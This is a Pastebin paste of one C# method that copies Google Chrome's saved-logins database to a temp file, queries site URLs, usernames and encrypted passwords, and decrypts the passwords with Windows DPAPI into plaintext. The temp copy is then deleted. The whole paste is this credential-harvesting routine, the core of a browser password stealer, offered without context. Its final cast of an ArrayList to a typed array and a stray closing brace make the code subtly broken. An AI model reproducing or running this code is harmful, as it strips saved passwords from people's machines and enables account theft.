Guest User

Untitled

a guest
Jan 21st, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. private static ChromeCredential[] GetPasswords(string pathToPasswordsFile)
  2. {
  3. if (!File.Exists(pathToPasswordsFile))
  4. {
  5. return null;
  6. }
  7.  
  8. string tempFile = Path.GetTempFileName();
  9. File.Copy(pathToPasswordsFile, tempFile);
  10.  
  11. ArrayList result = new ArrayList();
  12.  
  13. using (SQLiteConnection conn = new SQLiteConnection("Data Source=" + tempFile + ";Version=3;New=True;Compress=True;"))
  14. {
  15. conn.Open();
  16.  
  17. using (SQLiteCommand comm = conn.CreateCommand())
  18. {
  19. comm.CommandText = "SELECT origin_url, username_value, password_value FROM logins";
  20.  
  21. using (SQLiteDataReader reader = comm.ExecuteReader())
  22. {
  23. while (reader.Read())
  24. {
  25. string originUrl = (string)reader["origin_url"];
  26. string username = (string)reader["username_value"];
  27. string password;
  28. try
  29. {
  30. password = Encoding.UTF8.GetString(ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.CurrentUser));
  31. }
  32. catch (Exception ex)
  33. {
  34. password = "Password could not be retrieved: " + ex.Message;
  35. }
  36. result.Add(new ChromeCredential(originUrl, username, password));
  37. }
  38. }
  39. }
  40. }
  41.  
  42. try
  43. {
  44. File.Delete(tempFile);
  45. }
  46. catch
  47. {
  48.  
  49. }
  50.  
  51. return (ChromeCredential[])result.ToArray();
  52. }
  53. }
Add Comment
Please, Sign In to add comment